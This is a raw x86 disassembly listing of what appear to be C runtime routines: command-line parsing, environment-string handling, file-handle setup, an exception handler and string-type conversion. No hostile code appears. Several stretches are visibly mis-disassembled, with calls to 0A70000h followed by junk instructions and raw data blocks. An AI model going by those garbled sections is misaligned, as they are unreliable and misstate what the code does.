call sub_41A9FC
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov ds:dword_45E824, esi
pop edi
pop esi
mov ds:dword_45E820, eax
pop ebx
leave
retn
sub_41A963 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A9FC proc near ; CODE XREF: sub_41A963+47p
; sub_41A963+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_41AA26
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41AA26: ; CODE XREF: sub_41A9FC+20j
cmp byte ptr [eax], 22h
jnz short loc_41AA6F
loc_41AA2B: ; CODE XREF: sub_41A9FC+58j
; sub_41A9FC+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41AA5D
test dl, dl
jz short loc_41AA5D
movzx edx, dl
test ds:byte_45FD41[edx], 4
jz short loc_41AA50
inc dword ptr [ecx]
test esi, esi
jz short loc_41AA50
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_41AA50: ; CODE XREF: sub_41A9FC+46j
; sub_41A9FC+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_41AA2B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41AA2B
; ---------------------------------------------------------------------------
loc_41AA5D: ; CODE XREF: sub_41A9FC+36j
; sub_41A9FC+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_41AA67
and byte ptr [esi], 0
inc esi
loc_41AA67: ; CODE XREF: sub_41A9FC+65j
cmp byte ptr [eax], 22h
jnz short loc_41AAB2
inc eax
jmp short loc_41AAB2
; ---------------------------------------------------------------------------
loc_41AA6F: ; CODE XREF: sub_41A9FC+2Dj
; sub_41A9FC+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41AA7A
mov dl, [eax]
mov [esi], dl
inc esi
loc_41AA7A: ; CODE XREF: sub_41A9FC+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test ds:byte_45FD41[ebx], 4
jz short loc_41AA95
inc dword ptr [ecx]
test esi, esi
jz short loc_41AA94
mov bl, [eax]
mov [esi], bl
inc esi
loc_41AA94: ; CODE XREF: sub_41A9FC+91j
inc eax
loc_41AA95: ; CODE XREF: sub_41A9FC+8Bj
cmp dl, 20h
jz short loc_41AAA3
test dl, dl
jz short loc_41AAA7
cmp dl, 9
jnz short loc_41AA6F
loc_41AAA3: ; CODE XREF: sub_41A9FC+9Cj
test dl, dl
jnz short loc_41AAAA
loc_41AAA7: ; CODE XREF: sub_41A9FC+A0j
dec eax
jmp short loc_41AAB2
; ---------------------------------------------------------------------------
loc_41AAAA: ; CODE XREF: sub_41A9FC+A9j
test esi, esi
jz short loc_41AAB2
and byte ptr [esi-1], 0
loc_41AAB2: ; CODE XREF: sub_41A9FC+6Ej
; sub_41A9FC+71j ...
and [ebp+arg_10], 0
loc_41AAB6: ; CODE XREF: sub_41A9FC+19Ej
cmp byte ptr [eax], 0
jz loc_41AB9F
loc_41AABF: ; CODE XREF: sub_41A9FC+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41AACB
cmp dl, 9
jnz short loc_41AACE
loc_41AACB: ; CODE XREF: sub_41A9FC+C8j
inc eax
jmp short loc_41AABF
; ---------------------------------------------------------------------------
loc_41AACE: ; CODE XREF: sub_41A9FC+CDj
cmp byte ptr [eax], 0
jz loc_41AB9F
test edi, edi
jz short loc_41AAE3
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_41AAE3: ; CODE XREF: sub_41A9FC+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_41AAE8: ; CODE XREF: sub_41A9FC+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_41AAF1: ; CODE XREF: sub_41A9FC+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_41AAFA
inc eax
inc ebx
jmp short loc_41AAF1
; ---------------------------------------------------------------------------
loc_41AAFA: ; CODE XREF: sub_41A9FC+F8j
cmp byte ptr [eax], 22h
jnz short loc_41AB2B
test bl, 1
jnz short loc_41AB29
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_41AB18
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_41AB18
mov eax, edx
jmp short loc_41AB1B
; ---------------------------------------------------------------------------
loc_41AB18: ; CODE XREF: sub_41A9FC+10Dj
; sub_41A9FC+116j
mov [ebp+arg_0], edi
loc_41AB1B: ; CODE XREF: sub_41A9FC+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_41AB29: ; CODE XREF: sub_41A9FC+106j
shr ebx, 1
loc_41AB2B: ; CODE XREF: sub_41A9FC+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_41AB40
inc ebx
loc_41AB33: ; CODE XREF: sub_41A9FC+142j
test esi, esi
jz short loc_41AB3B
mov byte ptr [esi], 5Ch
inc esi
loc_41AB3B: ; CODE XREF: sub_41A9FC+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_41AB33
loc_41AB40: ; CODE XREF: sub_41A9FC+134j
mov dl, [eax]
test dl, dl
jz short loc_41AB90
cmp [ebp+arg_10], 0
jnz short loc_41AB56
cmp dl, 20h
jz short loc_41AB90
cmp dl, 9
jz short loc_41AB90
loc_41AB56: ; CODE XREF: sub_41A9FC+14Ej
cmp [ebp+arg_0], 0
jz short loc_41AB8A
test esi, esi
jz short loc_41AB79
movzx ebx, dl
test ds:byte_45FD41[ebx], 4
jz short loc_41AB72
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_41AB72: ; CODE XREF: sub_41A9FC+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_41AB88
; ---------------------------------------------------------------------------
loc_41AB79: ; CODE XREF: sub_41A9FC+162j
movzx edx, dl
test ds:byte_45FD41[edx], 4
jz short loc_41AB88
inc eax
inc dword ptr [ecx]
loc_41AB88: ; CODE XREF: sub_41A9FC+17Bj
; sub_41A9FC+187j
inc dword ptr [ecx]
loc_41AB8A: ; CODE XREF: sub_41A9FC+15Ej
inc eax
jmp loc_41AAE8
; ---------------------------------------------------------------------------
loc_41AB90: ; CODE XREF: sub_41A9FC+148j
; sub_41A9FC+153j ...
test esi, esi
jz short loc_41AB98
and byte ptr [esi], 0
inc esi
loc_41AB98: ; CODE XREF: sub_41A9FC+196j
inc dword ptr [ecx]
jmp loc_41AAB6
; ---------------------------------------------------------------------------
loc_41AB9F: ; CODE XREF: sub_41A9FC+BDj
; sub_41A9FC+D5j
test edi, edi
jz short loc_41ABA6
and dword ptr [edi], 0
loc_41ABA6: ; CODE XREF: sub_41A9FC+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_41A9FC endp
; =============== S U B R O U T I N E =======================================
sub_41ABB0 proc near ; CODE XREF: seg000:00415C07p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, ds:dword_45E9BC
push ebx
push ebp
mov ebp, ds:dword_41F03C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_41ABFE
call ebp ; dword_41F03C
mov esi, eax
cmp esi, ebx
jz short loc_41ABDF
mov ds:dword_45E9BC, 1
jmp short loc_41AC07
; ---------------------------------------------------------------------------
loc_41ABDF: ; CODE XREF: sub_41ABB0+21j
call ds:dword_41F1A0 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz loc_41ACD9
mov ds:dword_45E9BC, 2
jmp loc_41AC8D
; ---------------------------------------------------------------------------
loc_41ABFE: ; CODE XREF: sub_41ABB0+19j
cmp eax, 1
jnz loc_41AC88
loc_41AC07: ; CODE XREF: sub_41ABB0+2Dj
cmp esi, ebx
jnz short loc_41AC17
call ebp ; dword_41F03C
mov esi, eax
cmp esi, ebx
jz loc_41ACD9
loc_41AC17: ; CODE XREF: sub_41ABB0+59j
cmp [esi], bx
mov eax, esi
jz short loc_41AC2C
loc_41AC1E: ; CODE XREF: sub_41ABB0+73j
; sub_41ABB0+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_41AC1E
inc eax
inc eax
cmp [eax], bx
jnz short loc_41AC1E
loc_41AC2C: ; CODE XREF: sub_41ABB0+6Cj
sub eax, esi
mov edi, ds:dword_41F128
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; dword_41F128
mov ebp, eax
cmp ebp, ebx
jz short loc_41AC7D
push ebp
call sub_413E5F
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_41AC7D
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; dword_41F128
test eax, eax
jnz short loc_41AC79
push [esp+18h+var_8]
call sub_413ED3
pop ecx
mov [esp+18h+var_8], ebx
loc_41AC79: ; CODE XREF: sub_41ABB0+B9j
mov ebx, [esp+18h+var_8]
loc_41AC7D: ; CODE XREF: sub_41ABB0+99j
; sub_41ABB0+A8j
push esi
call ds:dword_41F19C ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_41ACDB
; ---------------------------------------------------------------------------
loc_41AC88: ; CODE XREF: sub_41ABB0+51j
cmp eax, 2
jnz short loc_41ACD9
loc_41AC8D: ; CODE XREF: sub_41ABB0+49j
cmp edi, ebx
jnz short loc_41AC9D
call ds:dword_41F1A0 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz short loc_41ACD9
loc_41AC9D: ; CODE XREF: sub_41ABB0+DFj
cmp [edi], bl
mov eax, edi
jz short loc_41ACAD
loc_41ACA3: ; CODE XREF: sub_41ABB0+F6j
; sub_41ABB0+FBj
inc eax
cmp [eax], bl
jnz short loc_41ACA3
inc eax
cmp [eax], bl
jnz short loc_41ACA3
loc_41ACAD: ; CODE XREF: sub_41ABB0+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_413E5F
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_41ACC3
xor esi, esi
jmp short loc_41ACCE
; ---------------------------------------------------------------------------
loc_41ACC3: ; CODE XREF: sub_41ABB0+10Dj
push ebp
push edi
push esi
call sub_413690
add esp, 0Ch
loc_41ACCE: ; CODE XREF: sub_41ABB0+111j
push edi
call near ptr 0A70000h
db 64h
mov eax, esi
jmp short loc_41ACDB
; ---------------------------------------------------------------------------
loc_41ACD9: ; CODE XREF: sub_41ABB0+39j
; sub_41ABB0+61j ...
xor eax, eax
loc_41ACDB: ; CODE XREF: sub_41ABB0+D6j
; sub_41ABB0+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_41ABB0 endp
; ---------------------------------------------------------------------------
loc_41ACE2: ; CODE XREF: seg000:00415BF7p
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_413E5F
mov esi, eax
pop ecx
test esi, esi
jnz short loc_41AD02
push 1Bh
call sub_415C7E
pop ecx
loc_41AD02: ; CODE XREF: seg000:0041ACF8j
mov ds:dword_45FB20, esi
mov ds:dword_45FC20, 20h
lea eax, [esi+100h]
loc_41AD18: ; CODE XREF: seg000:0041AD34j
cmp esi, eax
jnb short loc_41AD36
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, ds:dword_45FB20
add esi, 8
add eax, 100h
jmp short loc_41AD18
; ---------------------------------------------------------------------------
loc_41AD36: ; CODE XREF: seg000:0041AD1Aj
lea eax, [esp+10h]
push eax
call near ptr 0A70000h
add [esi-7Dh], ah
jl short loc_41AD69
inc edx
add [edi], cl
test al, ch
; ---------------------------------------------------------------------------
dw 0
dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
dd 2E1C8DF0h
db 7Ch
; ---------------------------------------------------------------------------
loc_41AD69: ; CODE XREF: seg000:0041AD43j
add cl, [ebx+203539F0h]
cld
inc ebp
add [ebp+52h], bh
mov edi, offset dword_45FB24
loc_41AD79: ; CODE XREF: seg000:0041ADBCj
push 100h
call sub_413E5F
test eax, eax
pop ecx
jz short loc_41ADC0
add ds:dword_45FC20, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_41AD97: ; CODE XREF: seg000:0041ADB1j
cmp eax, ecx
jnb short loc_41ADB3
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_41AD97
; ---------------------------------------------------------------------------
loc_41ADB3: ; CODE XREF: seg000:0041AD99j
add edi, 4
cmp ds:dword_45FC20, esi
jl short loc_41AD79
jmp short loc_41ADC6
; ---------------------------------------------------------------------------
loc_41ADC0: ; CODE XREF: seg000:0041AD86j
mov esi, ds:dword_45FC20
loc_41ADC6: ; CODE XREF: seg000:0041ADBEj
xor edi, edi
test esi, esi
jle short loc_41AE12
loc_41ADCC: ; CODE XREF: seg000:0041AE10j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_41AE09
mov cl, [ebp+0]
test cl, 1
jz short loc_41AE09
test cl, 8
jnz short loc_41ADEB
push eax
call near ptr 0A70000h
dec esp
test eax, eax
jz short loc_41AE09
loc_41ADEB: ; CODE XREF: seg000:0041ADDEj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_45FB20[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_41AE09: ; CODE XREF: seg000:0041ADD1j
; seg000:0041ADD9j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_41ADCC
loc_41AE12: ; CODE XREF: seg000:0041ADCAj
xor ebx, ebx
loc_41AE14: ; CODE XREF: seg000:0041AE77j
mov eax, ds:dword_45FB20
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_41AE6F
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_41AE2F
push 0FFFFFFF6h
pop eax
jmp short loc_41AE39
; ---------------------------------------------------------------------------
loc_41AE2F: ; CODE XREF: seg000:0041AE28j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_41AE39: ; CODE XREF: seg000:0041AE2Dj
push eax
call near ptr 0A70000h
xchg eax, esi
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_41AE5E
push edi
call near ptr 0A70000h
pushf
test eax, eax
jz short loc_41AE5E
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_41AE64
loc_41AE5E: ; CODE XREF: seg000:0041AE45j
; seg000:0041AE50j
or byte ptr [esi+4], 40h
jmp short loc_41AE73
; ---------------------------------------------------------------------------
loc_41AE64: ; CODE XREF: seg000:0041AE5Cj
cmp eax, 3
jnz short loc_41AE73
or byte ptr [esi+4], 8
jmp short loc_41AE73
; ---------------------------------------------------------------------------
loc_41AE6F: ; CODE XREF: seg000:0041AE20j
or byte ptr [esi+4], 80h
loc_41AE73: ; CODE XREF: seg000:0041AE62j
; seg000:0041AE67j ...
inc ebx
cmp ebx, 3
jl short loc_41AE14
push ds:dword_45FC20
call near ptr 0A70000h
rcr dword ptr [edi+5Eh], 1
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE98 proc near ; DATA XREF: seg000:00415B92o
; sub_41872A+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_41AF38
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41AECB: ; CODE XREF: sub_41AE98+90j
cmp esi, 0FFFFFFFFh
jz short loc_41AF31
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41AF1F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_41AF1F
js short loc_41AF2A
mov edi, [ebx+8]
push ebx
call sub_414400
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_414442
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_4144D6
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_41AF1F: ; CODE XREF: sub_41AE98+40j
; sub_41AE98+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_41AECB
; ---------------------------------------------------------------------------
loc_41AF2A: ; CODE XREF: sub_41AE98+54j
mov eax, 0
jmp short loc_41AF4D
; ---------------------------------------------------------------------------
loc_41AF31: ; CODE XREF: sub_41AE98+36j
mov eax, 1
jmp short loc_41AF4D
; ---------------------------------------------------------------------------
loc_41AF38: ; CODE XREF: sub_41AE98+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_414442
add esp, 8
pop ebp
mov eax, 1
loc_41AF4D: ; CODE XREF: sub_41AE98+97j
; sub_41AE98+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41AE98 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_414442
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_41AF70 proc near ; CODE XREF: sub_415C7E+9p
; sub_415CA3+9p
mov eax, ds:dword_45E858
cmp eax, 1
jz short loc_41AF87
test eax, eax
jnz short locret_41AFA8
cmp ds:dword_42D0E4, 1
jnz short locret_41AFA8
loc_41AF87: ; CODE XREF: sub_41AF70+8j
push 0FCh
call sub_41AFA9
mov eax, ds:dword_45E9C0
pop ecx
test eax, eax
jz short loc_41AF9D
call eax ; dword_45E9C0
loc_41AF9D: ; CODE XREF: sub_41AF70+29j
push 0FFh
call sub_41AFA9
pop ecx
locret_41AFA8: ; CODE XREF: sub_41AF70+Cj
; sub_41AF70+15j
retn
sub_41AF70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AFA9 proc near ; CODE XREF: sub_415C7E+12p
; sub_415CA3+12p ...
var_72EC8A40 = dword ptr -72EC8A40h
var_1A4 = byte ptr -1A4h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_42D758
loc_41AFBC: ; CODE XREF: sub_41AFA9+20j
cmp edx, [eax]
jz short loc_41AFCB
add eax, 8
inc ecx
cmp eax, offset off_42D7E8
jl short loc_41AFBC
loc_41AFCB: ; CODE XREF: sub_41AFA9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, ds:dword_42D758[esi]
jnz loc_41B0F9
mov eax, ds:dword_45E858
cmp eax, 1
jz loc_41B0D3
test eax, eax
jnz short loc_41AFFC
cmp ds:dword_42D0E4, 1
jz loc_41B0D3
loc_41AFFC: ; CODE XREF: sub_41AFA9+44j
cmp edx, 0FCh
jz loc_41B0F9
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call near ptr 0A70000h
xchg eax, [ebp+var_72EC8A40]
test [esi+edi*8-1], ebx
jmp fword ptr [eax+5Ch]
; ---------------------------------------------------------------------------
dd 500041FBh, 0FF8C8FE8h, 8D5959FFh, 0FFFE5C85h, 8D5057FFh
dd 0FFFE5CBDh, 8D6AE8FFh, 5940FFFFh, 763CF883h, 5C858D29h
dd 50FFFFFEh, 0FF8D57E8h, 8DF88BFFh, 0FFFE5C85h, 3BE883FFh
dd 0F803036Ah, 41FB5868h, 5DE85700h, 83FFFF9Dh, 858D10C4h
dd 0FFFFFF60h, 41FB3C68h, 39E85000h, 8DFFFF8Ch, 0FFFF6085h
dd 0E85057FFh, 0FFFF8C3Ch, 0FF60858Dh, 3868FFFFh, 500041FBh
dd 0FF8C2BE8h, 5CB6FFFFh, 8D0042D7h, 0FFFF6085h, 19E850FFh
dd 68FFFF8Ch, 12010h, 0FF60858Dh, 1068FFFFh, 500041FBh
dd 16B1E8h, 2CC48300h
; ---------------------------------------------------------------------------
pop edi
jmp short loc_41B0F9
; ---------------------------------------------------------------------------
loc_41B0D3: ; CODE XREF: sub_41AFA9+3Cj
; sub_41AFA9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_42D75C[esi]
push 0
push eax
push dword ptr [esi]
call sub_413DB0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call near ptr 0A70000h
jl short near ptr sub_41B140+3
call near ptr 0A70000h
pusha
loc_41B0F9: ; CODE XREF: sub_41AFA9+2Ej
; sub_41AFA9+59j ...
pop esi
leave
retn
sub_41AFA9 endp
; =============== S U B R O U T I N E =======================================
sub_41B0FC proc near ; CODE XREF: sub_415CC7+6Cp
; sub_419940+32p ...
arg_0 = dword ptr 4
inc ds:dword_45E9C4
push 1000h
call sub_413E5F
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41B125
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41B136
; ---------------------------------------------------------------------------
loc_41B125: ; CODE XREF: sub_41B0FC+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41B136: ; CODE XREF: sub_41B0FC+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41B0FC endp
; =============== S U B R O U T I N E =======================================
sub_41B140 proc near ; CODE XREF: sub_415CC7+61p
; sub_416846+8p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_45FC20
jb short loc_41B14F
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41B14F: ; CODE XREF: sub_41B140+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, ds:dword_45FB20[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41B140 endp
; =============== S U B R O U T I N E =======================================
sub_41B166 proc near ; DATA XREF: seg002:0042101Co
mov eax, ds:dword_45FB00
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41B17A
mov eax, 200h
jmp short loc_41B180
; ---------------------------------------------------------------------------
loc_41B17A: ; CODE XREF: sub_41B166+Bj
cmp eax, esi
jge short loc_41B185
mov eax, esi
loc_41B180: ; CODE XREF: sub_41B166+12j
mov ds:dword_45FB00, eax
loc_41B185: ; CODE XREF: sub_41B166+16j
push 4
push eax
call sub_41C807
pop ecx
mov ds:dword_45EAF0, eax
test eax, eax
pop ecx
jnz short loc_41B1B9
push 4
push esi
mov ds:dword_45FB00, esi
call sub_41C807
pop ecx
mov ds:dword_45EAF0, eax
test eax, eax
pop ecx
jnz short loc_41B1B9
push 1Ah
call sub_415C7E
pop ecx
loc_41B1B9: ; CODE XREF: sub_41B166+30j
; sub_41B166+49j
xor ecx, ecx
mov eax, offset off_42D7E8
loc_41B1C0: ; CODE XREF: sub_41B166+6Ej
mov edx, ds:dword_45EAF0
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_42DA68
jl short loc_41B1C0
xor edx, edx
mov ecx, offset dword_42D7F8
loc_41B1DD: ; CODE XREF: sub_41B166+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, ds:dword_45FB20[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41B1FA
test eax, eax
jnz short loc_41B1FD
loc_41B1FA: ; CODE XREF: sub_41B166+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41B1FD: ; CODE XREF: sub_41B166+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_42D858
jl short loc_41B1DD
pop esi
retn
sub_41B166 endp
; =============== S U B R O U T I N E =======================================
sub_41B20B proc near ; DATA XREF: seg002:0042102Co
; FUNCTION CHUNK AT 0041C884 SIZE 00000058 BYTES
call sub_4167D0
cmp ds:byte_45E844, 0
jz short locret_41B21E
jmp loc_41C884
; ---------------------------------------------------------------------------
locret_41B21E: ; CODE XREF: sub_41B20B+Cj
retn
sub_41B20B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B21F proc near ; CODE XREF: sub_415DDC+2D4p
; sub_415DDC+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41B22B
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41B22B: ; CODE XREF: sub_41B21F+8j
cmp ds:dword_45E898, 0
jnz short loc_41B246
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41B278
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41B246: ; CODE XREF: sub_41B21F+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push ds:dword_42D2FC
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push ds:dword_45E8A8
call ds:dword_41F128 ; CODE XREF: seg000:0041B2E5j
test eax, eax
jz short loc_41B278
cmp [ebp+arg_0], 0
jz short loc_41B285
loc_41B278: ; CODE XREF: sub_41B21F+1Ej
; sub_41B21F+51j
mov ds:dword_45E804, 2Ah
or eax, 0FFFFFFFFh
loc_41B285: ; CODE XREF: sub_41B21F+57j
pop ebp
retn
sub_41B21F endp
; ---------------------------------------------------------------------------
loc_41B287: ; CODE XREF: sub_4165E6+5Ep
; seg000:0041A329p
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41FB78
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov eax, ds:dword_45E9C8
xor ebx, ebx
cmp eax, ebx
jnz short loc_41B2F6
lea eax, [ebp-1Ch]
push eax
push 1
pop esi
push esi
push offset dword_41F868
push esi
call ds:dword_41F028 ; GetStringTypeW
test eax, eax
jz short loc_41B2D4
mov eax, esi
jmp short loc_41B2F1
; ---------------------------------------------------------------------------
loc_41B2D4: ; CODE XREF: seg000:0041B2CEj
lea eax, [ebp-1Ch]
push eax
push esi
push offset dword_42E344
push esi
push ebx
call near ptr 0A70000h
jb short near ptr loc_41B268+4
ror byte ptr [edi], 84h
into
; ---------------------------------------------------------------------------
db 0
dd 26A0000h
; ---------------------------------------------------------------------------
pop eax
loc_41B2F1: ; CODE XREF: seg000:0041B2D2j
mov ds:dword_45E9C8, eax
loc_41B2F6: ; CODE XREF: seg000:0041B2B6j
cmp eax, 2
jnz short loc_41B31F
mov eax, [ebp+1Ch]
cmp eax, ebx
jnz short loc_41B307
mov eax, ds:dword_45E898
loc_41B307: ; CODE XREF: seg000:0041B300j
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push eax
call near ptr 0A70000h
sbb ebp, ecx
lahf
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_41B31F: ; CODE XREF: seg000:0041B2F9j
cmp eax, 1
jnz loc_41B3BC
cmp [ebp+18h], ebx
jnz short loc_41B335
mov eax, ds:dword_45E8A8
mov [ebp+18h], eax
loc_41B335: ; CODE XREF: seg000:0041B32Bj
push ebx
push ebx
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
mov eax, [ebp+20h]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push dword ptr [ebp+18h]
call ds:dword_41F12C ; MultiByteToWideChar
mov [ebp-20h], eax
cmp eax, ebx
jz short loc_41B3BC
mov [ebp-4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_413E30
mov [ebp-18h], esp
mov esi, esp
mov [ebp-24h], esi
push edi
push ebx
push esi
call sub_413630
add esp, 0Ch
jmp short loc_41B38B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor ebx, ebx
xor esi, esi
loc_41B38B: ; CODE XREF: seg000:0041B37Ej
or dword ptr [ebp-4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41B3BC
push dword ptr [ebp-20h]
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push 1
push dword ptr [ebp+18h]
call ds:dword_41F12C ; MultiByteToWideChar
cmp eax, ebx
jz short loc_41B3BC
push dword ptr [ebp+14h]
push eax
push esi
push dword ptr [ebp+8]
call ds:dword_41F028 ; GetStringTypeW
jmp short loc_41B3BE
; ---------------------------------------------------------------------------
